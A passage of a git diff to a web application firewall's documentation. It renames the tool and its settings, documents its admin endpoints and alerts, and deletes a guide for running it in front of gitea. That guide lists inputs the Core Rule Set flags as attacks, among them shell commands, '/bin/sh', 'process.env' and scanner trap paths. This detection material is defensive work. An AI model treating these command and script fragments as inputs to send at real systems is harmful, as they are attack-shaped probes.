[`SPEC.md`](../SPEC.md) says how their tokens work. +The endpoints under `/_sww/`, what each takes and what each answers. `sww waf` +answers them at its own address, on the private network. "Admin endpoints" in +[`SPEC.md`](../SPEC.md) says how their tokens work. -- `GET /_smallwebwaf/healthz`: `200` and `ok`, to anyone. -- `GET /_smallwebwaf/metrics`: the metrics, for `SWWAF_METRICS_TOKEN` (see +- `GET /_sww/healthz`: `200` and `ok`, to anyone. +- `GET /_sww/metrics`: the metrics, for `SWW_WAF_METRICS_TOKEN` (see [`metrics.md`](metrics.md)). -- `GET /_smallwebwaf/bans`: every ban held, under `bans`, each as `bans.json` - lists it. Needs `SWWAF_ADMIN_TOKEN`, as do the three below. -- `POST /_smallwebwaf/bans`: bans a netblock. The body is a JSON object of - `netblock`, `duration` and, if you like, `reason`. `netblock` is a netblock - such as `203.0.113.0/24`, or a client's address, which bans its IPv4 netblock - (`SWWAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such - as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is - wrong: +- `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it. + Needs `SWW_WAF_ADMIN_TOKEN`, as do the three below. +- `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`, + `duration` and, if you like, `reason`. `netblock` is a netblock such as + `203.0.113.0/24`, or a client's address, which bans its IPv4 netblock + (`SWW_WAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration + such as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying + what is wrong: - one that is not such an object, or has another field; - one longer than 4 KiB; - one that names an IPv4-mapped netblock, or an address with a zone. -- `DELETE /_smallwebwaf/bans/`: lifts every active ban covering the - address ``. It answers `404` when none is active. -- `GET /_smallwebwaf/clients/`: what `servewaf` knows of the client. Under - `client`, its counters and history as `clients.json` holds them, or `null` - when `clients.json` does not hold it. Under `bans`, every ban covering the - address, with its notes. -- `POST /_smallwebwaf/report`: takes `rproxy`'s report, without a token. It - answers `204`, or `400` to a body that is no report (see "The report" in +- `DELETE /_sww/bans/`: lifts every active ban covering the address + ``. It answers `404` when none is active. +- `GET /_sww/clients/`: what `waf` knows of the client. Under `client`, its + counters and history as `clients.json` holds them, or `null` when + `clients.json` does not hold it. Under `bans`, every ban covering the address, + with its notes. +- `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers + `204`, or `400` to a body that is no report (see "The report" in [`SPEC.md`](../SPEC.md)). No check runs on these requests. A missing or wrong token is answered `401`. An endpoint whose token is unset answers `404`, as does any other path. -`smallwebwaf rproxy` answers only the health check of these, at its own address. -It asks `servewaf` about any other request under `/_smallwebwaf/`. One that -passes the checks is answered `404`, so that the app never sees that prefix (see -"`rproxy`" in [`SPEC.md`](../SPEC.md)). +`sww rproxy` answers only the health check of these, at its own address. It asks +`waf` about any other request under `/_sww/`. One that passes the checks is +answered `404`, so that the app never sees that prefix (see "`rproxy`" in +[`SPEC.md`](../SPEC.md)). ## Examples -With `SWWAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `servewaf` reached as -`servewaf:8080` on its network: +With `SWW_WAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as +`waf:8080` on its network: ```sh # Every ban. -curl -H "Authorization: Bearer $TOKEN" http://servewaf:8080/_smallwebwaf/bans +curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/bans # Ban 203.0.113.0/24 for seven days. curl -H "Authorization: Bearer $TOKEN" \ --json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \ - http://servewaf:8080/_smallwebwaf/bans + http://waf:8080/_sww/bans # Lift the bans on 203.0.113.9. curl -H "Authorization: Bearer $TOKEN" -X DELETE \ - http://servewaf:8080/_smallwebwaf/bans/203.0.113.9 + http://waf:8080/_sww/bans/203.0.113.9 -# What servewaf knows of 203.0.113.9. +# What waf knows of 203.0.113.9. curl -H "Authorization: Bearer $TOKEN" \ - http://servewaf:8080/_smallwebwaf/clients/203.0.113.9 + http://waf:8080/_sww/clients/203.0.113.9 ``` diff --git a/docs/alerts.md b/docs/alerts.md index 093e0da..6f14a37 100644 --- a/docs/alerts.md +++ b/docs/alerts.md @@ -6,16 +6,15 @@ back or dropped. ## Events -- `ban`: a ban `servewaf` made. +- `ban`: a ban `waf` made. - `permanent_ban`: a permanent ban it made, or an existing ban made permanent by a request. -- `waf_block`: the Core Rule Set scored a request at or over the threshold. The - request was refused unless the alert's `detail` gives `mode`: `detect` or - `observe`. +- `core_rule_set_match`: the Core Rule Set scored a request at or over the + threshold. The request was refused unless the alert's `detail` gives `mode`: + `detect` or `observe`. - `anomaly`: a count over an anomaly threshold. -- `reputation_hit`: a request from a client on a blocklist, the CrowdSec - decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit. - One alert per source. +- `reputation_hit`: a request from a client on a blocklist or a DNS blocklist, + or with an AbuseIPDB score that is a hit. One alert per source. - `source_failure`: one of: - GeoJS failing; - a list that cannot be fetched; @@ -23,7 +22,8 @@ back or dropped. - the day's AbuseIPDB checks used up. - `file_error`: one of: - a rule file or state file edit with an error; - - a state file that cannot be written; + - a cache file that does not parse, at start or after an edit; + - a state file or cache file that cannot be written; - a replacement lookup database that cannot be read. - `summary`: the hourly summary of alerts held back. @@ -34,7 +34,7 @@ on one line: ```json { - "instance": "fsn1/servewaf", + "instance": "host1/waf", "time": "2026-10-06T12:00:50.123461Z", "event": "ban", "host": "app.example", @@ -68,8 +68,7 @@ on one line: "earlier_bans": { "limit": 0, "attack": 0, - "admin": 0, - "crowdsec": 0 + "admin": 0 } } }, @@ -77,11 +76,10 @@ on one line: } ``` -- `instance`: `SWWAF_INSTANCE_NAME`. `time`: when the alert was raised. `event`: - one of the events above. -- `host`: the site of the request that raised the alert, since one `servewaf` - serves many sites. It is left out of `source_failure`, `file_error` and - `summary`. +- `instance`: `SWW_WAF_INSTANCE_NAME`. `time`: when the alert was raised. + `event`: one of the events above. +- `host`: the site of the request that raised the alert, since one `waf` serves + many sites. It is left out of `source_failure`, `file_error` and `summary`. - `client`: the address whose request raised the alert. Empty for `source_failure`, `file_error` and `summary`. - `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise @@ -111,8 +109,8 @@ on one line: ## Slack and ntfy Slack and ntfy get a message with a title and a text. The title is the instance -and the event, such as `fsn1/servewaf: ban`. The text is the `reason`, then one -line for each of these that the alert has: +and the event, such as `host1/waf: ban`. The text is the `reason`, then one line +for each of these that the alert has: - the host, the client, the netblock and the country; - the file, the source, the error and the mode from `detail`; @@ -123,14 +121,14 @@ escaped. ntfy gets the text as the message, with these headers: - `Title`: the title; - `Authorization`: the token, as `Bearer `, while - `SWWAF_ALERT_NTFY_TOKEN` is set; + `SWW_WAF_ALERT_NTFY_TOKEN` is set; - `Priority` and `Tags`: by event, as listed below. The priority and tag by event: - `ban`: priority `default`, tag `no_entry`. - `permanent_ban`: priority `high`, tag `no_entry`. -- `waf_block`: priority `default`, tag `shield`. +- `core_rule_set_match`: priority `default`, tag `shield`. - `anomaly`: priority `high`, tag `chart_with_upwards_trend`. - `reputation_hit`: priority `low`, tag `label`. - `source_failure` and `file_error`: priority `high`, tag `warning`. diff --git a/docs/gitea.md b/docs/gitea.md deleted file mode 100644 index fde4cca..0000000 --- a/docs/gitea.md +++ /dev/null @@ -1,340 +0,0 @@ -# smallwebwaf in front of gitea - -`deploy/gitea/compose.yaml` runs gitea behind traefik, with `rproxy` and -`servewaf` in front of it. This document says what that setup sets and why, and -what the defaults would do without it. [`SPEC.md`](../SPEC.md) says how -`smallwebwaf` behaves. - -## The setup - -Four containers share one Docker network, the shared network: - -- traefik, which routes the site's HTTPS requests to `rproxy`, and redirects - plain HTTP to HTTPS; -- `rproxy`, in front of gitea; -- gitea 1.27.3, as its image comes; -- `servewaf`, with a volume for its state files. - -To start it: - -1. In `deploy/gitea/compose.yaml`, replace `git.example.org` with the site's - host name. -2. Replace each `10.99.0` with the first three numbers of a `/24` subnet that no - other network on the host uses. The `/24` must lie inside `10.0.0.0/8`, - `172.16.0.0/12` or `192.168.0.0/16`, because `rproxy` believes - `X-Forwarded-For` only from those by default. Replace each `fd10:99` with the - first two hextets of an unused `/64` subnet whose third and fourth hextets - are 0, as in `fd10:99::/64`. -3. Set `SMALLWEBWAF_IMAGE` to the `smallwebwaf` image, named by digest. -4. Set `GITEA_SECRET_KEY` to the output of - `docker run --rm gitea generate secret SECRET_KEY`, with - gitea's image as `deploy/gitea/compose.yaml` names it. Do this once per - install, and keep the key. -5. Run `docker compose up --detach` in `deploy/gitea`. -6. Make gitea's first user with `gitea admin user create`, in gitea's container, - as the user `git`. - -Sign-up is off: accounts are made with `gitea admin user create`. gitea starts -at its defaults, with SQLite. traefik answers with a certificate it made itself -until you add a certificate resolver, as for your other sites. SSH to gitea does -not pass through `smallwebwaf`; publish gitea's SSH port yourself if you use it. - -`make gitea-setup` checks the setup. It builds the image, brings the setup up -under a name of its own, and checks: - -- that a page load, a push and a clone sent through traefik pass through - `rproxy`, and that `servewaf` checks them; -- that gitea logs the visitor's address, not `rproxy`'s; -- that a request from a container on the shared network skips the checks; -- that with `servewaf` stopped, gitea still answers through `rproxy`. - -## Uploads and downloads - -An upload is a request: - -- a git push; -- an LFS object; -- a container image layer; -- a package file; -- a release attachment. - -The setup lets an upload of up to 2 GiB, sent in up to 30 minutes, through: - -- `SWRP_MAX_REQUEST_SIZE` is `2G`. At the default, an upload over 100 MiB is cut - off. -- `SWRP_MAX_REQUEST_TIME_MS` is `1800000`, 30 minutes. At the default, an upload - that takes over 60 seconds is cut off. -- traefik's `readTimeout` is 30 minutes. traefik's own default of 60 seconds for - a whole request would cut off an upload first. - -A clone or a download is a response: - -- `SWRP_MAX_RESPONSE_TIME_MS` is `900000`, 15 minutes, half the default. A clone - or download that takes longer is cut off. -- `SWRP_MAX_RESPONSE_SIZE` stays at its default, 1 GiB. A repository whose clone - is larger needs it raised. - -The byte limits stay at their defaults: no minute limit, 50 GiB an hour and 100 -GiB a day. - -## The checks - -`SWWAF_WAF_MODE` is `detect`. The Core Rule Set then logs a match, with its rule -ids, and refuses nothing. In `block` mode, the default, it refuses everyday -gitea searches and file names. The section "What the Core Rule Set refuses in -`block` mode" below lists them. Each such refusal counts toward the error burst, -so 31 in one minute ban the address. - -Every other check stays at its default. A client may make 120 requests a minute, -1,500 an hour and 6,000 a day. Archive downloads and blame and history pages are -what scrapers hammer, and these limits do most of the work there. - -## The shared network - -Containers on the shared network skip `servewaf`'s checks: - -- The shared network's subnets are `10.99.0.0/24` and `fd10:99::/64`. Docker - gives its containers addresses in the upper half of each, `10.99.0.128/25` and - `fd10:99:0:0:8000::/65`, which `SWWAF_ALLOW_NETS` names. -- traefik is known on the shared network by the site's host name. So a container - there that asks for the site reaches traefik from its own address. An - automation fleet in such a container skips the checks. -- Each subnet's gateway, `10.99.0.1` and `fd10:99::1`, is the host's own address - on it. Requests docker passes on from a published port can come from the - gateway, so the gateways are left out of `SWWAF_ALLOW_NETS`. The network has - IPv6, so a visitor over IPv6 reaches traefik from its own address, and - `servewaf` checks it as itself. -- A container on the shared network that asks for the site at the host's public - address arrives from the gateway. It is checked like any visitor. -- A fleet on another host can have its address added to `SWWAF_ALLOW_NETS`. - Without that, it is counted like any client. -- traefik replaces the `X-Forwarded-For` a visitor sends, by default. Keep it - so: otherwise a visitor could name an address on the shared network, and skip - the checks. -- Anything on the shared network can reach gitea and `servewaf` around `rproxy`. - Put only containers you trust on it. - -## gitea's settings - -- `REVERSE_PROXY_TRUSTED_PROXIES` names `rproxy`'s fixed addresses, `10.99.0.2` - and `fd10:99::2`. gitea then takes each visitor's address from the `X-Real-Ip` - header, which traefik sets and `rproxy` passes on. Without it, gitea logs - every visitor as `rproxy`. -- `INSTALL_LOCK` is `true`, as "The setup" above says. - -## Methods - -`rproxy` passes on only these methods: `GET`, `HEAD`, `POST`, `OPTIONS`, `PUT`, -`DELETE`, `PATCH` and `QUERY`. gitea 1.27.3 needs no other. Its routes use: - -- pages and the API: `GET`, `HEAD`, `POST`, `PUT`, `PATCH` and `DELETE`; -- git's push, clone and fetch over HTTP: `GET`, `POST` and `OPTIONS`; -- LFS: `GET`, `POST` and `PUT`; -- the container registry and the other package registries: `GET`, `HEAD`, - `POST`, `PUT`, `PATCH` and `DELETE`; -- Actions runners: `POST`. - -## The log - -`rproxy` and `servewaf` write each query string to the log whole. A token sent -in the query string, as `?token=`, is then in the log. Send it in the -`Authorization` header instead. - -## Actions runners - -A runner on the shared network skips the checks. One on another host is counted -like any client. A runner older than version 0.4 (April 2026) asks for work -every 2 seconds, 1,800 requests an hour. While it runs a job, it reports the -job's log and state every second instead, two requests a second. - -So one idle runner makes 1,800 requests an hour, more than the hour limit of -1,500. A busy one, at two requests a second, passes the minute limit of 120 -within two minutes. Its address is then banned, its running jobs fail, and each -repeat within a day makes the ban longer. Newer runners ask for work less often. -Put the runners' addresses in `SWWAF_RATE_LIMIT_EXEMPT_NETS`. - -## What the Core Rule Set refuses in `block` mode - -These notes record what the Core Rule Set does in front of gitea in `block` -mode, at the other defaults. They are observations, not requirements. -`script/gitea-requests` runs gitea behind `rproxy` and `servewaf` at the -defaults. It sends through them a sample of gitea's ordinary use and the -requests named below. It reports each request the Core Rule Set refuses, so that -these notes can be checked again when gitea or the Core Rule Set changes -version. In `detect` mode, as the setup runs it, the same requests are logged -with their rule ids, and pass. - -Each refusal answers only that request ("Bans" in `SPEC.md` says what it counts -toward). The request log names the rule in `waf_rule_ids`, which -`SWWAF_WAF_DISABLED_RULES` can switch off. - -### What it lets through - -The Core Rule Set lets gitea's ordinary use through, apart from the refusals in -the sections after this one: - -- browsing and views of files in a repository, with their history, blame and the - file tree; -- diffs, including their hidden lines and large files, and pull request review; -- git's clone, fetch and push over HTTP; -- signing in, including the return to the page a visitor came from, and sign-in - with Git Credential Manager, git-credential-oauth or tea; -- the API's calls for a file and its commits; -- pushing and pulling container images and packages; -- Actions runners, and artifacts uploaded with `actions/upload-artifact@v4`; -- posting issues, pull requests, comments, wiki pages and files saved in the web - editor, code included, since no body is read; -- the page gitea shows after a change, with its message naming what was done. - -### A query string that reads as an attack - -Most often this is a search. A search term is a query parameter, which the Core -Rule Set checks against its lists of system files and commands (see the fourth -change under "Attack detection" in `SPEC.md`). A release attachment uploaded -through the API as `docker-compose.yml` is refused the same way. Examples: - -- a name on those lists, such as `package.json`, `.gitignore` or - `docker-compose.yml`; -- text that starts with a command name, such as `python3` or `ssh key`, or has - one right after a `/` in its first word, such as `feat/docker-support`; -- a shell command with its options or a system path (`ls -la`, `sed -i`, - `/bin/sh`), or a command in backticks; -- script code (`fetch(`, `${VAR}`, `process.env`), HTML (``. At least 32 characters. -- `SWWAF_METRICS_TOKEN` (default unset): the token for `/_smallwebwaf/metrics`. - At least 32 characters. +- `SWW_WAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and + `/_sww/clients/`. At least 32 characters. +- `SWW_WAF_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At + least 32 characters. -## State files +## State and cache files -- `SWWAF_STATE_DIR` (default `/var/lib/smallwebwaf`): the directory of the state - files, an absolute path that exists and can be written. -- `SWWAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be +- `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state + files, an absolute path that can be written. The image's `run` script makes + it. +- `SWW_WAF_BANS_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be written after a ban is made, lifted or made permanent. A duration. -- `SWWAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is - written. A duration. +- `SWW_WAF_STATE_WRITE_INTERVAL` (default `15m`): how often every state and + cache file is written. A duration. +- `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache + files, an absolute path that can be written. The image's `run` script makes + it. ## Logging -- `SWWAF_LOG_LEVEL` (default `info`): the least severe of `servewaf`'s own - messages that are written: `debug`, `info`, `warn` or `error`. -- `SWWAF_LOG_REQUEST_HEADERS` (default +- `SWW_WAF_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages + that are written: `debug`, `info`, `warn` or `error`. +- `SWW_WAF_LOG_REQUEST_HEADERS` (default `accept,accept-language,accept-encoding,content-type,origin,range`): the request headers recorded in the log line, in either case. `Host` and `Transfer-Encoding` are refused; the host is the field `host`. -- `SWWAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every +- `SWW_WAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`, each with a host and a port and nothing more. -- `SWWAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates +- `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates that a `syslog+tls` server's certificate must chain to, instead of the host's own. A file that cannot be read, or holds no certificate, is refused. -- `SWWAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they - wait to be sent, a whole number above zero. -- `SWWAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`, +- `SWW_WAF_LOG_REMOTE_BUFFER_LINES` (default `10000`): the most lines held while + they wait to be sent, a whole number above zero. +- `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`, `user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`, `authpriv`, `ftp`, or `local0` to `local7`. -- `SWWAF_LOG_REMOTE_APP_NAME` (default: `SWWAF_INSTANCE_NAME`): the app name in - each syslog record, 1 to 48 printable ASCII characters without a space. +- `SWW_WAF_LOG_REMOTE_APP_NAME` (default: `SWW_WAF_INSTANCE_NAME`): the app name + in each syslog record, 1 to 48 printable ASCII characters without a space. ## Metrics -- `SWWAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many - countries get series of their own. A whole number above zero. +- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` (default `50`): how many AS + numbers and how many countries get series of their own. A whole number above + zero. ## Static lists -- `SWWAF_ALLOW_NETS` (default empty): netblocks you trust, such as your - monitoring (see step 3 in [`SPEC.md`](../SPEC.md)). -- `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are +- `SWW_WAF_ALLOW_NETS` (default empty): netblocks you trust, such as your + monitoring (see step 4 in [`SPEC.md`](../SPEC.md)). +- `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are exempt from rate limiting and the byte limits. -- `SWWAF_DENY_NETS` (default empty): netblocks whose clients are refused (see - step 3 in [`SPEC.md`](../SPEC.md)). +- `SWW_WAF_DENY_NETS` (default empty): netblocks whose clients are refused (see + step 4 in [`SPEC.md`](../SPEC.md)). ## Request rate limits, per client -- `SWWAF_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a - client may make in a minute. A count or `off`. The default leaves room for a - person opening two gitea pages at once with an empty cache, up to 60 files - each. -- `SWWAF_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may +The request past one of these limits is refused, and the client is banned. + +- `SWW_WAF_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests + a client may make in a minute. A count or `off`. The default leaves room for a + person opening two pages at once with an empty cache, up to 60 files each. +- `SWW_WAF_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may make in an hour. A count or `off`. It is the main limit against scrapers. A - person reading code in gitea for an hour, a page every 20 seconds, makes - about 900. A scraper making one request every 2 seconds makes 1,800 an hour, - more than the limit. -- `SWWAF_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may + person reading a site for an hour, a page every 20 seconds, makes about 900. A + scraper making one request every 2 seconds makes 1,800 an hour, more than the + limit. +- `SWW_WAF_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may make in a day. A count or `off`. The default is four hours at the hour limit. A scraper making one request every 10 seconds makes 8,640 a day, more than the limit. -- An Actions runner asks gitea for work all day and can pass the limits. Put the - runners' addresses in `SWWAF_RATE_LIMIT_EXEMPT_NETS`. Do the same for a +- A CI runner asks its code forge for work all day and can pass the limits. Put + the runners' addresses in `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`. Do the same for a network where many people share one address, such as an office. - Counting cannot catch a client that stays under all three limits (see "Request rate limits, per client" in [`SPEC.md`](../SPEC.md)). -- `SWWAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from +- `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. ## Byte limits, per client -- `SWWAF_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWWAF_BYTES_LIMIT_PER_HOUR` - (default `50G`) and `SWWAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most - bytes counted for a client in each window. A size or `off`. -- `SWWAF_BYTES_COUNT` (default `both`): which body bytes the byte limits count: - `response`, `request` or `both`. +These count body bytes, never headers. What the visitor sent over a WebSocket +counts as request bytes, and what the app sent as response bytes. The bytes +counted for a request and its response are added to the client's total once the +response has ended. The request that takes a client's total past a limit is not +cut off; the client is banned. + +- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`), + `SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and + `SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a + client in each window, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which + bytes count: response bodies, request bodies or both. The request that passes + the limit is not cut off, and the client is banned when its response ends. +- `SWW_WAF_BYTES_COUNTED` (default `both`): what the byte limits and the byte + anomaly thresholds count: `response`, the app's response bodies; `request`, + the visitors' request bodies; or `both`. What the visitor sent over a + WebSocket counts as request bytes, and what the app sent as response bytes. ## Lookup of AS number and country -- `SWWAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops - the start while a setting that needs a lookup is set: - - the two country lists; - - `SWWAF_ADD_LOOKUP_HEADERS`; - - the four biased threshold lists and `SWWAF_ASN_LIMIT_PERCENT_URL`; - - `SWWAF_UNKNOWN_LIMIT_PERCENT` below `100`; +- `SWW_WAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` + stops the start while a setting that needs a lookup is set: + - `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES`; + - `SWW_WAF_ADD_LOOKUP_HEADERS` set to `true`; + - `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag, + or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset; + - the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`; + - `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` below `100`; - an anomaly threshold per AS number. -- `SWWAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its - `.mmdb` form, for `SWWAF_LOOKUP_SOURCE=file`. -- `SWWAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its - client's first answer from GeoJS, and how long a request to GeoJS may take. A - duration; never `off`. -- `SWWAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app - the client's AS number in `X-Client-ASN` and its country in - `X-Client-Country`. +- `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in + its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`. +- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` (default `800`): how long a + request waits for its client's first answer from GeoJS. A time in + milliseconds; never `off`. It does not cut off the request to GeoJS, whose + answer is kept when it comes later. +- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `true`): `true` has `rproxy` pass the + app the client's AS number in `X-Client-ASN` and its country in + `X-Client-Country`. The default is `false` while `SWW_WAF_LOOKUP_SOURCE` is + `off`. With GeoJS, a new client's first request waits for its answer, up to + `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`. -## Country lists +## Country list -- `SWWAF_DENIED_COUNTRIES` (default empty): countries whose clients are refused, - such as `cn,ru,kp`. -- `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only - countries whose clients get through, such as `us,de`. A country on both lists - stops the start. +- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only + countries whose clients get through, such as `us,de`. A country whose + `country=` tag is in `SWW_WAF_TAG_DENY` stops the start. + +## Request tags + +Every request gets tags from what `waf` knows of its client. See "Request tags" +in [`SPEC.md`](../SPEC.md). + +- `SWW_WAF_TAG_LISTS` (default empty): address lists that each add a tag, as + `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the + tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or + `https` URL fetched like a blocklist. A name or URL listed twice is refused. + So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS` or is + `SWW_WAF_ASN_LIMIT_PERCENT_URL`. +- `SWW_WAF_TAG_DENY` (default empty): tags whose requests are refused, such as + `torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a + `country=` tag without a country, is refused. +- `SWW_WAF_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's + limits, as tag and percentage pairs, such as `vpn:50,asn=14061:25`. A + percentage is from `1` to `99`, of every rate limit and byte limit. The lowest + percentage among a client's tags applies. A tag listed twice is refused. So is + `exploitsignature`: a request gets that tag after the rate limits have counted + it. + +- `SWW_WAF_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a + routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a + service that gives an address's announced netblock and origin AS. `waf` asks + it about each client, in the background, and adds the tags `asn=` and + `prefix=` from its answer. While it is unset, nothing asks + routewatch and no request gets a `prefix=` tag. + +`SWW_WAF_TAG_DENY` and `SWW_WAF_TAG_LIMIT_PERCENT` accept tags in either case. A +tag that no request can get stops the start. A request can get only these: + +- a name in `SWW_WAF_TAG_LISTS`; +- an `asn=` or `country=` tag; +- a `prefix=` tag with a netblock, while `SWW_WAF_ROUTEWATCH_URL` is set. It + matches only that exact announced netblock, such as `prefix=192.0.2.0/24`; +- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key + masked as the `reputation` field shows it; +- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set; +- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while + `SWW_WAF_RULE_FILES_ENABLED` is `true`, or while neither + `SWW_WAF_CORE_RULE_SET_MODE` nor `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` is + `off`. ## Biased thresholds -- `SWWAF_ASN_LIMIT_PERCENT` (default empty): a list of AS numbers, each with `:` - and a percentage, such as `AS14061:50,AS16276:50,AS45102:25`. An AS number - listed twice is refused. -- `SWWAF_COUNTRY_LIMIT_PERCENT` (default empty): the same by country, such as - `cn:25,ru:50`. -- `SWWAF_ASN_BYTES_PERCENT` and `SWWAF_COUNTRY_BYTES_PERCENT` (default empty): - the same, for the byte limits alone. -- `SWWAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the - lookup cannot place. -- `SWWAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a - text file with one AS number and percentage on each line, such as - `AS64496:50`. A URL that is also in `SWWAF_BLOCKLIST_URLS` is refused. +- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` + (default empty): a percentage of the byte limits alone, for the AS numbers or + countries listed, such as `AS14061:50` or `cn:25`. It takes the place of the + percentage `SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. + An AS number or country listed twice is refused. +- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` (default `100`): the percentage for a + client the lookup cannot place. +- `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of + a text file with one AS number and percentage on each line, such as + `AS64496:50`. Each entry counts like an `asn=` tag in + `SWW_WAF_TAG_LIMIT_PERCENT`. A URL that is also in `SWW_WAF_BLOCKLIST_URLS` is + refused. ## Attack detection -- `SWWAF_RULES_DIR` (default `/etc/smallwebwaf/rules.d`): the directory of the +- `SWW_WAF_RULE_FILES_DIR` (default `/etc/sww/rules.d`): the directory of the rule files. -- `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file. -- `SWWAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as +- `SWW_WAF_RULE_FILES_ENABLED` (default `true`): `false` reads no rule file. +- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`. -- `SWWAF_WAF_MODE` (default `block`): `off`, `detect` or `block`. -- `SWWAF_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level, - from 1 to 4. -- `SWWAF_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a - match. A whole number above zero, or `off`. -- `SWWAF_WAF_DISABLED_RULES` (default +- `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`. +- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's + paranoia level, from 1 to 4. +- `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` (default `5`): the score at which a + request is a match. A whole number above zero, or `off`. +- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default `920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules to switch off. Each a whole number above zero. An id from 900000 to 900999 is refused: those are the rules that set the Core Rule Set up, and `smallwebwaf`'s own. -- `SWWAF_WAF_EXEMPT_PATHS` (default empty): path prefixes 